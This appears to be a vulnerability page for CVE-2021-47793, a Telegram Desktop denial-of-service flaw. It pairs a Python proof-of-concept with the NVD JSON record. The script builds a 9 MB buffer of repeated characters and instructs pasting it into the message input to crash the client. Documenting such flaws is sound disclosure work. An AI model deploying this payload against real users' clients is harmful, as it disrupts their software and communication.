CVE-2021-47793

#!/usr/bin/env python3 """ CVE-2021-47793 Telegram Desktop DoS PoC Target: Telegram Desktop <= 2.9.2 Description: Generates oversized message payload to trigger DoS """ import struct def generate_oversized_payload(size_bytes=9000000): """ Generate oversized message payload for Telegram Desktop DoS attack Args: size_bytes: Size of the payload in bytes (default: 9MB) Returns: bytes: Oversized message payload """ # Generate payload with repeating pattern to trigger parsing issue pattern = b'A' * 1000 # 1KB pattern payload_size = size_bytes # Create payload by repeating pattern full_chunks = payload_size // 1000 remainder = payload_size % 1000 payload = pattern * full_chunks + b'A' * remainder return payload def create_telegram_message_payload(): """ Create Telegram message payload structure This simulates the message format that Telegram Desktop processes """ oversized_content = generate_oversized_payload(9000000) # Telegram message structure simulation message = { 'message_id': 12345, 'from_id': 999999999, 'chat_id': -1001234567890, 'date': 1640000000, 'text': oversized_content, 'entities': [], 'via_bot': None } return message def exploit(): """ Main exploit function Generate and save the malicious payload """ print("[*] Generating CVE-2021-47793 DoS payload...") print("[*] Target: Telegram Desktop <= 2.9.2") print("[*] Payload size: 9,000,000 bytes (9MB)") payload = generate_oversized_payload(9000000) # Save payload to file for manual use with open('cve_2021_47793_payload.txt', 'wb') as f: f.write(payload) print(f"[+] Payload generated successfully") print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Payload saved to: cve_2021_47793_payload.txt") print("[!] To exploit: Copy the payload content and paste into Telegram Desktop message input") return payload if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2021-47793", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:23.207", "lastModified": "2026-01-30T00:56:05.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Telegram Desktop 2.9.2 contains a denial of service vulnerability that allows attackers to crash the application by sending an oversized message payload. Attackers can generate a 9 million byte buffer and paste it into the messaging interface to trigger an application crash."}, {"lang": "es", "value": "Telegram Desktop 2.9.2 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes colapsar la aplicación al enviar una carga útil de mensaje sobredimensionada. Los atacantes pueden generar un búfer de 9 millones de bytes y pegarlo en la interfaz de mensajería para desencadenar un colapso de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:telegram:telegram_desktop:2.9.2:*:*:*:*:*:*:*", "matchCriteriaId": "11FA63B9-865F-44F8-90C4-A0DE329F53B6"}]}]}], "references": [{"url": "https://telegram.org", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50247", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/telegram-desktop-denial-of-service-poc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50247", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}